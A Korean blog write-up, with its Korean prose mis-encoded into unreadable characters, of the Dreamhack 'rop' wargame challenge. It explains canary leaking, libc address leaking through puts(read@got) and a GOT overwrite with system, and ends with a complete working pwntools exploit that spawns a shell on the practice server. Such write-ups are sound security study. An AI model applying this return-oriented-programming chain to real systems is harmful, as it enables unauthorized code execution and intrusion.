๐ROP ์๋ฆฌ์ฆ๐
[ROP ์๋ฆฌ์ฆ (1)] ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋งํฌ
[ROP ์๋ฆฌ์ฆ (3)] Return to Library ๊ฐ๋ ๋ฐ ์ค์ต
[ROP ์๋ฆฌ์ฆ (4)] ๋๋ฆผํต(Dreamhack) - rop <-์ฌ๊ธฐ!
์ด๋ฒ ์๊ฒ์์ ์๋ ๋ด์ฉ์ ์ฌํ ๋ฒ์ ์ด๋ค. ์๋ ์๊ฒ์์ ์์ง ํ์ง ์์๊ฑฐ๋ ํ์ด ๋ฐฉ๋ฒ์ ๋ชจ๋ฅธ๋ค๋ฉด ์๋ ํฌ์คํธ๋ฅผ ๋จผ์ ์ฐธ๊ณ ํ๊ณ ์ค๋ฉด ์ด๋ฒ ํฌ์คํธ์ ์ดํด๊ฐ ๋ ์ฌ์ธ ๊ฒ์ด๋ค.
๋ฌธ์ ๋ถ์
๋ฌธ์ ์ฝ๋
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
๋ฌธ์ ์ฝ๋๋ ์์ ๊ฐ๋ค. Return to Library ์ค์ต์์๋ systemํจ์๊ฐ ์ด๋ฏธ ํธ์ถ๋์ด system@plt๋ฅผ ์ฝ๊ฒ ๊ตฌํ ์ ์์๊ณ , "/bin/sh"๊ฐ ๋ฐ์ดํฐ ์ธ๊ทธ๋จผํธ์ ๊ธฐ๋ก๋์ด ASLR์ ์ํฅ์ ๋ฐ๊ณ ์ฝ๊ฒ ์ ๊ทผํ ์ ์์๋ค.
ํ์ง๋ง ์ด๋ฒ ๋ฌธ์ ์์๋ 1)systemํจ์๊ฐ ํธ์ถ๋์ง ์์ plt์ ๋ฑ๋ก๋์ด ์์ง ์๊ณ , 2)"/bin/sh" ๋ํ ์ ์ธ๋์ง ์์๋ค.
โ๏ธ ๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ systemํจ์์ ์ฃผ์๋ฅผ ์ง์ ๊ตฌํด์ผํ๊ณ , "/bin/sh" ๋ฌธ์์ด์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ์ฌ์ฉํด์ผ ํ๋ค. โ๏ธ
์นด๋๋ฆฌ ์ฐํ๋ ๋ฒํผ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ ๋ฐํ๋ ๊ฒ์ ์ฌํ๊ป ๊ณ์ ํด์๋ ๊ฒ์ด๋ ์๋ตํ๊ฒ ๋ค. ํด๋น ๋ถ๋ถ์ ์ด์ ํฌ์คํธ๋ฅผ ์ฐธ๊ณ ํด์ฃผ๊ธธ ๋ฐ๋๋ค.
system ํจ์์ ์ฃผ์ ๊ตฌํ๊ธฐ
0. ์ํฉ ๋ถ์
โ ํ์ฌ ์ํฉ : plt์ system์ด ์์ (plt์ ์ ํ๋ ค๋ฉด ์ผ๋จ ํ๋ก๊ทธ๋จ์์ ํธ์ถ๋์ด์ผํจ!!)
ํจ์์ ๊ด๋ จ๋ ์ฃผ์๋ ํจ์@plt, ํจ์@got, ํจ์์ ์ค์ ์ฃผ์ ์ด ์ธ๊ฐ์ง์ด๋ค. ๊ทธ๋ ๋ค๋ฉด ์ฐ๋ฆฌ๋ ์ด๋ป๊ฒ systemํจ์์ ์ฃผ์์ ์ ๊ทผํด์ผํ ๊น?
๋จผ์ , ์ฐ๋ฆฌ๋ systemํจ์์ plt๋ฅผ ๊ตฌํ ์ ์๋ค. ์๋ํ๋ฉด ํธ์ถ๋์ด์ผ์ง๋ง plt์ ๋ฑ๋ก์ด ๋๊ธฐ ๋๋ฌธ์ด๋ค.
์ฐ๋ฆฌ๊ฐ ์๋ฒ์์ ์คํ๋๋ ํ๋ก์ธ์ค ์ฝ๋๋ฅผ ์์ ํ ์ ์์ผ๋ฏ๋ก system์ plt, ๊ทธ๋ฆฌ๊ณ system์ got์ ๊ตฌํ ์ ์๋ค. ์๋ํ๋ฉด ์กด์ฌํ์ง ์๊ธฐ ๋๋ฌธ์ด๋ค.
๋ฐ๋ผ์ ์ฐ๋ฆฌ๊ฐ ๊ตฌํ ์์๋ ๊ฒ์ system์ ์ค์ ์ฃผ์ ๋ฟ์ด๋ค.
์ด์ ์ฐ๋ฆฌ์ ๋ชฉํ๋ "system์ ์ค์ ์ฃผ์๋ฅผ ์ป์ด๋ด๊ธฐ"๋ก ๋ฒ์๊ฐ ์ขํ์ก๋ค.
๊ทธ๋ ๋ค๋ฉด system์ ์ค์ ์ฃผ์๋ฅผ ์ ๊ทผํ ์ ์๋ ๋ฐฉ๋ฒ์ ์ ๋
์์๊น...? ์ฌ๊ธฐ์ ์ฐ๋ฆฌ๊ฐ ์๊ฐํด์ผํ ๊ฐ๋
์ด ์๋ค!
- ASLR๊ฐ ์ ์ฉ๋์์ ๋(ํ์ง๋ง PIE๋ ์ ์ ์ฉ๋์ด์์ ๋)๋ '์ฝ๋ ์์ญ'๊ณผ '๋ฐ์ดํฐ ์์ญ'์ ์ฃผ์๋ ๋๋คํ๋์ง ์๋๋ค.
- ์ด๋ค ํจ์๊ฐ ํ๋ก๊ทธ๋จ ์์ ์กด์ฌํ ๋, ๋งํฌ ๊ณผ์ ์์ ๊ทธ ํจ์๊ฐ ํฌํจ๋ '๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ ์ฒด'๋ฅผ ๋ฉ๋ชจ๋ฆฌ์ ๋ก๋ํ๋ค.
- ASLR๊ฐ ์ ์ฉ๋์ด์์ด๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ด์ ์คํ์ (Offset)์ ์ผ์ ํ๋ค.
๐ก 2,3๋ฒ ์งธ ๊ฐ๋
์ ์ํด systemํจ์์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ํ ๋ค๋ฅธ ํจ์์ ์ค์ ์ฃผ์๋ฅผ ๊ตฌํ๋ค๋ฉด ๊ฑฐ๊ธฐ์ ์คํ์
์ ๋นผ์ systemํจ์์ ์ค์ ์ฃผ์๋ฅผ ๊ตฌํ ์ ์๋ค. ์คํ์
์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ๊ฐ์ผ๋ฉด ๋์ผํ๋ฏ๋ก ์ด๋ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ข
๋ฅ๋ง ์ ์ ์๋ค๋ฉด ์ฐ๋ฆฌ์ง ๋ง๋น์์๋ ๊ตฌํ ์ ์๋ค. ๋ฌธ์ ์ฝ๋์ readํจ์๋ systemํจ์์ ๊ฐ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ํด ์๋ค. ๋ฐ๋ผ์ readํจ์์ ์ค์ ์ฃผ์๋ฅผ ๊ตฌํ์.
๐กreadํจ์์ ์ค์ ์ฃผ์๋ ์ด๋ป๊ฒ ๊ตฌํ๋๊ฐ? read@got์ด ์ฐธ๊ณ ํ๋ ๊ฐ์ ๊ตฌํ๋ฉด ๋๋ค. ๊ทธ๋ฐ๋ฐ.. ์ฐ๋ฆฌ ์ง์์์ read@got์ ๋๋ฆผํต ์๋ฒ์์์ read@got ์ฃผ์๊ฐ ๋์ผํ ๊น? ๋๋๊ฒ๋ ๋์ผํ๋ค! ์๋ํ๋ฉด ASLR์ด ์ ์ฉ๋์ด์๊ณ PIE๊ฐ ์ ์ฉ๋์ด์์ง ์์ ๊ฒฝ์ฐ, ์ฒซ๋ฒ์งธ ๊ฐ๋
์ ์ํด ์ฝ๋ ์ธ๊ทธ๋จผํธ์ ๋ฐ์ดํฐ ์ธ๊ทธ๋จผํธ์ ์ฃผ์๋ ๋ณํ์ง ์๋๋ค. ๊ทธ๋ฐ๋ฐ plt๋ ์ฝ๋ ๋ฉ์ด๋ฆฌ์ด๋ฏ๋ก ์ฝ๋ ์ธ๊ทธ๋จผํธ์ ์ ์ฅ๋๊ณ , got๋ ์ ์ญ ๋ฐ์ดํฐ์ด๋ฏ๋ก ๋ฐ์ดํฐ ์ธ๊ทธ๋จผํธ์ ์ ์ฅ๋๋ค. ๋ฐ๋ผ์ plt์ got๋ฅผ ์ฐ๋ฆฌ ์ปดํจํฐ์์๋ ๊ตฌํ ์ ์๋ค. system์ฃผ์์ read์ฃผ์์ ์คํ์
๋ ๋์ผํ๊ธฐ ๋๋ฌธ์ ์ฝ๊ฒ ๊ตฌํ ์ ์๋ค.
1. read@got๊ตฌํ๊ธฐ ->
2. read@got์ด ์ฐธ์กฐํ๋ ๊ฐ, ์ฆ read์ ์ค์ ์ฃผ์ ์ฐพ๊ธฐ(์๋ ๋๋คํ ๊ฐ์ด๋ค.) ->
3. ๋ฏธ๋ฆฌ ๊ตฌํ ์คํ์
์ผ๋ก systemํจ์ ์ค์ ์ฃผ์ ์ฐพ๊ธฐ
์ด ์์๋ก ํ๋ํ๋ ๊ฐ๋ฉด ๋๋ค.
1. read@got ๊ตฌํ๊ธฐ
e = ELF("./rop")
read_got=e.got["read"] #์ ์๋ก ๋ฐํ๋๋ฏ๋ก ํ์ด๋ก๋๋ก ๋ณด๋ผ ๋๋ ๋ฐ์ดํธ๋ก ๋ฐ๊ฟ์ผ ํจ
ELF ๊ฐ์ฒด๋ ์ต์คํ๋ก์์ ํ์ํ ELF ์ ๋ณด๋ฅผ ์ถ๋ ฅํด์ค๋ค.
2. read์ ์ค์ ์ฃผ์ ์ฐพ๊ธฐ
read์ ์ค์ ์ฃผ์๋ ๋๋คํ๊ธฐ ๋๋ฌธ์ ์คํ๋๋ง๋ค ๊ทธ ์ฃผ์๊ฐ ๋ฌ๋ผ์ง๋ค. ๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ ์ด๋ฅผ ๋ฐํ์ ์ค์ ์๋ฅผ ๊ฐ์ ธ์์ผํ๋ค! ์ด๋ฅผ ์ํด ์ฐ๋ฆฌ๋ putsํจ์๋ฅผ ํตํด ํ๋ฉด์ ์ถ๋ ฅํด์ฃผ๋๋ก ์ฝ๋๋ฅผ ์กฐ์ํ ๊ฒ์ด๋ค.
์ฐ๋ฆฌ๋ puts(read_got)์ ์คํ์ํฌ ์์ ์ด๋ค. ์ด๋ฅผ ์ํด ์ฐ๋ฆฌ๋ ๋ฆฌํด ๊ฐ์ ฏ์ ์ด์ฉํ๋ค.
โ ์ค์์ฃผ์โ puts(read_got)ํ๋ค๊ณ read_got์ด ํ๋ฉด์ ์ถ๋ ฅ๋๋๊ฒ ์๋๋ค.. puts์์๋ ๋ฌธ์์ด์ ์ฃผ์๊ฐ ๋ค์ด๊ฐ๊ณ , read_got์ ์ค์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋ ์ฃผ์๊ธฐ ๋๋ฌธ์ read_got์ด ๊ฐ๋ฆฌํค๋ ๊ฐ, ์ฆ read์ ์ฐ ์ฃผ์๊ฐ ์ถ๋ ฅ๋๋ค.
โ๏ธ ๋ฐ๋ผ์ ์คํ์ pop rdi;ret | read_got | puts_plt ๋ก ๊ตฌ์ฑํ๋ค.
โ๏ธ ์ฐธ๊ณ ๋ก plt๋ฅผ ์๋ฉด ๊ทธ๋ฅ ํจ์๋ฅผ ์คํ์ํฌ ์์๋ ๊ฒ๊ณผ ๋ค๋ฆ์๋ค๊ณ ๋ณด๋ฉด ๋๋ค.
์ด๋ ๊ฒ ํ๋ฉด ์ฐ๋ฆฌ์ ํ๋ฉด์ read์ ์ค์ ์ฃผ์๊ฐ ์ถ๋ ฅ๋ ๊ฒ์ด๋ค.
์ด๋ฅผ recv๋ก ๋ฐ์
read_addr=u64(p.recvn(6)+b"\x00"*2)
์ 6๊ธ์๋ง ๋ฐ์๋๋ฉด, 64bit ๋ฐ์ด๋๋ฆฌ์ '๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์'๋ ๋ณดํต 7f๋ก ์์ํ๊ณ 6๊ธ์์ด๊ธฐ ๋๋ฌธ์ด๋ค.
์ฐธ๊ณ ๋ก ์๋์ฒ๋ผ ๊ตฌํ ์๋ ์๋ค. (๋๋ฆผํต Q&A ์ฐธ๊ณ )
read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#7f์ฌ ๋๊น์ง ๋ฐ๊ณ , ๋ค์์ 6๋ฒ์งธ ์๋ฆฌ๋ถํฐ ๋๊น์ง๋ง ์ ์ฅ
#๊ทธํ ์ผ์ชฝ ์ ๋ ฌํ๋๋ฐ ๋น๋ถ๋ถ์ \x00์ผ๋ก ์ฑ์(๊ทธ๋์ ์ค๋ฅธ์ชฝ ๋๋ฐ์ดํธ๊ฐ \x00\x00์ด ๋จ)
๊ทธ๋ฆฌ๊ณ ์ด๋ฅผ ํตํด systemํจ์๋ฅผ ๊ตฌํ๋ค.
๊ทธ๋ฌ๊ธฐ ์ํด์๋ offset์ ๋จผ์ ์์์ผํ๋ค. offset์ ์์์ ์ธ๊ธํ๋ฏ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ๋์ผํ๋ฉด ๋ค ๋์ผํ๊ธฐ ๋๋ฌธ์ ์๋์ ๊ฐ์ด ๊ตฌํ๋ฉด ๋๋ค.
#offset๊ตฌํ๊ธฐ
lib=ELF("./libc-2.27.so")
sys_read=lib.symbols["system"]-lib.symbols["read"] #symbols["ํจ์์ด๋ฆ"] ํ๋ฉด ํจ์์ ์ฃผ์๋ฅผ ์ถ๋ ฅํด์ค๋ค
#systemํจ์ ์ค์ ์ฃผ์ ๊ตฌํ๊ธฐ
system=read_addr+sys_read
"/bin/sh" ๋ฃ๊ธฐ ๋ฐ ์ด ์ต์คํ๋ก์ ์ ๋ฆฌ
์ฌ๊ธฐ๊น์งํ๋ฉด ๋ง์ด ๋ฐ๋ผ์๋ค...์๊ณ ํ์ด์....๋ค๋ค..
๊ทธ๋ฐ๋ฐ ํ์ด๋ก๋๋ฅผ ๋ ๋ฆด ๋ ๋งจ์ฒ์์๋ ์ฐ๋ฆฌ๊ฐ systemํจ์๋ฅผ ๋ชจ๋ฅด๊ธฐ ๋๋ฌธ์ ์ด๋ฅผ ๊ตฌํ๋ ํ์ด๋ก๋๋ฅผ ๊ตฌํด์ผํ๊ณ , ๋ค์ systemํจ์๋ฅผ ์ด์ฉํ ํ์ด๋ก๋๋ฅผ ๋ ๋ ค์ผํ๋ค. ๊ทธ๋ฐ๋ฐ ์ฐ๋ฆฌ๋ ์นด๋๋ฆฌ ๋ฆญํ ๋ ๋ณด๋ด๋ ํ์ด๋ก๋๋ฅผ ์ ์ธํ๋ฉด ๊ธฐํ๊ฐ ํ๋ฒ๋ฐ์ ์๋ค. ๋ฐ๋ผ์ ์ฐ๋ฆฌ๋ ๊ธฐํ๋ฅผ ์ค์ค๋ก ๋ง๋ค์ด์ผ ํ๋ค.
์ด๋ฅผ ์ํด ์ฐ๋ฆฌ๋ readํจ์๋ฅผ ํ ๋ฒ ๋ ์คํ์์ผ์ฃผ๋๋ก ๋ง๋ค์ด์ system ํจ์์ ์ฃผ์๋ฅผ ๋ค์ ๋ณด๋ผ ์ ์๊ฒ ํ ๊ฒ์ด๋ค.
๊ทธ๋ฌ๊ธฐ ์ํด ๋ ๋ฆฌํด ๊ฐ์ ฏ์ ์ด์ฉํ ๊ฒ์ด๋ค.
์ฐ๋ฆฌ๋ read(0,read_got,0x10)์ ์คํ๋๊ฒ ๋ง๋ค์ด์ read_got ์ฃผ์์ system ์ฃผ์๋ฅผ ๋ฎ์ด ์์ธ ๊ฒ์ด๋ค.
์ด๋ฅผ ์ํด ํ์ด๋ก๋๋ฅผ ๊ตฌ์ฑํ๋ฉด pop_rdi | 0 | pop_rsi_r15 | read_got | 0 | read_plt ์ด๋ค,
์ฌ๊ธฐ์ ๊ถ๊ธํ๊ฒ ์์ ํ
๋ฐ, ์๋ค๋ค์ ๋ด๊ฐ ํ์ด๋ณด๋ฉด์ ๊ถ๊ธํ๋ ๊ฒ์ด์๋ค... (๋๋ง ๊ถ๊ธํ์ผ๋ฉด ๋ญ..)
1. pop_rsi_r15๋ ๋ญ๊ฐ์? -> pop rsi; pop r15; ret์ ์ฝ์์ด๋ค. ์ด๋ฅผ ํตํด rsi์ read_got์ ๋ฃ์ด์ค๋ค. pop 15๋ ์์ผ๋ฏ๋ก ๋ค์ ๊ทธ๋ฅ 0์ ๋ฃ์ด์ค์ popํ๊ฒ ํด์คฌ๋ค
2. pop rdx๋ ์ ํ๋์? -> ์์น์์ผ๋ก๋ ํด์ผํ๋๋ฐ pop rdx๋ฅผ ํ๋ ๊ฐ์ ฏ์ ์ฐพ๊ธฐ ์ด๋ ต๋ค. ์ด๋ฅผ ์ํด์๋ ๋ค๋ฅธ ๋ณต์กํ ๋ฐฉ๋ฒ์ด ์๋๋ฐ ์ด๋ ๋ค์์ ์ค๋ช ํ๋๋ก ํ๊ฒ ๋ค. ๋ฌธ์ ์์๋ rdx๊ฐ ์ถฉ๋ถํ ํฌ๊ฒ ์ค์ ๋์ด์๊ธฐ ๋๋ฌธ์ ๋คํํ๋ pop rdxํด๋ ์ ์์ ์ผ๋ก ์๋ํ๊ธฐ๋ ํ๋ค.
3. ์ ๊ทธ ๋ง๊ณ ๋ง์ ์ฃผ์ ์ค์ read_got์ overwriteํ๋์? -> read์ ๋๋ฒ์งธ ์ธ์๋ก๋ system์ ์ฃผ์๋ฅผ '๊ฐ๋ฆฌํฌ' ์ ๋ฅผ ๋ฃ์ด์ผํ๋๋ฐ, ์ด ๊ฐ๋ฆฌํฌ ํฌ์ธํฐ๋ฅผ ์ฐพ๊ธฐ๊ฐ ๊ทธ๋ ๊ฒ ์ฌ์๋ณด์ด์ง ์๋ค(๋ด ์ถ์ธก)
์ฌ๊ธฐ๊น์ง ํ๋ฉด ์๋ฒ์์ read(0,read_got,0x10)๋ฅผ ์คํํ๊ฒ ๋๋ค. ๋ฐ๋ผ์ ์ฐ๋ฆฌ๊ฐ ์ด์ read_got์ overwriteํด์ค ์ฃผ์, ์ฆ systemํจ์์ ์ฃผ์๋ฅผ ๋ณด๋ด์ค์ผํ๋ค.
p.send(p64(system))
์ฐ๋ฆฌ๋ ์ด์ read์ got์ systemํจ์๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ํด๋จ์ผ๋ฏ๋ก system("/bin/sh")๋์ read("/bin/sh")๋ฅผ ์คํํ๋ฉด ๋๋ค."/bin/sh"๋ ๊ทธ๋ฅ ๋ฒํผ์ ์ ์ด์ค ๊ฒ์ธ๋ฐ ์์์ readํจ์๋ก read_got์ ์ฐ๋ฆฌ์ ์
๋ ฅ์ ๋ฐ๊ฒ ์ค์ ํด๋์์ผ๋ฏ๋ก ๊ทธ๋ฅ ๊ทธ ๋ค์(read_got+0x8)์ "/bin/sh"๋ฅผ ๋ฃ์ด์ฃผ์. ๊ทธ๋ฌ๊ธฐ ์ํด์๋ ์ข์ ์ ์ฝ๋๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์์ ํด์ฃผ์.
p.send(p64(system)+b"/bin/sh\x00") #ํน์ ๋ชฐ๋ผ ๋งจ ๋ค์ null ๋ฌธ์๋ ์ถ๊ฐํด ์ฃผ์๋ค.
๊ทธ๋ฆฌ๊ณ read("/bin/sh")๋ฅผ ์คํํ ์ ์๊ฒ ํ์ด๋ก๋๋ฅผ ๊ตฌ์ฑํ๋ฉด pop_rdi | read_got+0x8 | read_plt ๊ณผ ๊ฐ๋ค.
๊ทธ๋์ ์ง๊ธ๊น์ง์ ํ์ด๋ก๋๋ฅผ ๋ค ์ด์ด๋ถ์ด๋ฉด ์๋์ ๊ฐ๋ค.
์ฐธ๊ณ ๋ก ๋ด๊ฐ ๋ ๊ถ๊ธํ๋๊ฒ ์๋๋ฐ...
๊ทธ๋ฌ๋๊น ์ puts_plt๋ค์์ ๋ฐ๋ก ์์คํ (”/bin/sh”)์ ํด์ฃผ์ง ์๋๊ฑฐ๋๋ฉด ์ผ๋จ systemํจ์์ ์ฃผ์๋ฅผ ๋ณด๋ด์ผํ๋๋ฐ, ๊ทธ๊ฑฐ๋ฅผ ํ์ด๋ก๋ ๋ณด๋ด๊ธฐ ์ ๊น์ง ์์๊ฐ ์๋ค….. ๊ทธ๋์ ๋ค์ readํจ์๋ฅผ ์คํ์์ผ์ ์ด๋ฅผ ์ ์ฅํ๊ฒ ํ๋ ๊ฒ์ด๋ค
์ต์ข ์ฝ๋
์ ๋ฆฌํด์ ์ต์ข ์ฝ๋๋ ์๋์ ๊ฐ๋ค.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = remote("host1.dreamhack.games", 9826)
e = ELF("./rop") #์ฌ๊ธฐ์ plt, got์ฃผ์ ๊ฐ์ ธ์ฌ ๊ฒ์ (์๋ค๋ pie์์ ์ฉํ๋ฉด ๊ณ ์ !)
#์ฌ๊ธฐ์ plt,got ํ์ํ ์ด์ ๋ ํจ์์คํ์ํด์(plt), got overwriteํ๊ธฐ ์ํด์
libc = ELF("./libc-2.27.so") #์ฌ๊ธฐ์ ์คํ์
๊ตฌํ ๊ฑฐ์ (์๋ aslr๋์ด๋ ๊ณ ์ ์ด๋๊น!)
#offset์๋ฉด read got์ด ๊ฐ๋ฆฌํค๋ ๊ฐ+offsetํด์ system ํจ์์ ์ฐ ์์น ์ ์ ์์
# [1] Leak canary
buf = b"A"*0x39 #๋ฒํผ ์ฑ์์ฃผ๊ธฐ
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7)) #๋ฒํผ๋ค 7์๋ฐ๊ณ ๋งจ ์์ /x00์ถ๊ฐํด์ค~
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read'] #read plt์ฃผ์ e์์ ๊ฐ์ ธ์ด
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3 #๊ฐ์ ฏ ์ฐพ๊ธฐ
pop_rsi_r15 = 0x00000000004007f1 #๊ฐ์ ฏ ์ฐพ๊ธฐ
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8 #๋ฒํผ+์นด๋๋ฆฌ+sfp
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got) #rdi=read_got ๋์
payload += p64(puts_plt) #puts(read_got)
# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload) #์ด๊ฑฐ ๋ณด๋ด๋ฉด ์์ฐจ์ ์ผ๋ก puts(read_got), read(0,read_got,rdx) ์คํ๋๊ณ stdin์ ๋ญ ๋์ฌ๋๊น์ง ๋๊ธฐ
read = u64(p.recvn(6)+b"\x00"*2) #์ผ๋จ read_got ๋ฐ๊ธฐ
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"] #system ์ฃผ์ ๊ตฌํด์ฉ
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00") #read(0,read_got,rdx) ๋๊ธฐํ๊ณ ์๋ ๊ณณ์ system ์ฃผ์๋ /bin/sh ์ ์ด์ค
#์ดํ ๋จ์ read("/bin/sh"), ์ฆ system("/bin/sh")์คํ๋จ
p.interactive() #์ ํ๋
์ด๋ ๊ฒ ํ๋ฉด ์์ ํ๋ํ ์ ์๋ค...
๋ฌธ์ ๋ฅผ ํ ๋ ์ฝ๋๋ ํ์ด๋ก๋๋ ์์ฌ์ ์์๊ฐ ์กฐ๊ธ ํท๊ฐ๋ฆดํ
๋ฐ, ๊ฟํ์ ์ฐ๋ฆฌ๊ฐ ๊ฐ์ ฏ์ผ๋ก ์คํ์ํฌ ํจ์๋ค์ ๊ทธ๋ฅ ๋ฌธ์ ์์ค ์ฝ๋์์ ์์๋๋ก ๋ถ์ด๋ฉด ๊ทธ๋๋ ๋ ํท๊ฐ๋ฆฐ๋ค.
'Linux Exploitation > Wargame' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Pwnable.kr] fd (0) | 2023.06.03 |
---|---|
[Pwnable.kr] bof (0) | 2023.06.03 |
[๋๋ฆผํต(Dreamhack)] ssp_001 (0) | 2023.04.14 |
[๋๋ฆผํต(Dreamhack)] basic_exploitation_000 (0) | 2023.04.10 |
[๋๋ฆผํต(Dreamhack)] System Hacking STAGE 2 : Quiz: x86 Assembly 1 (0) | 2023.03.19 |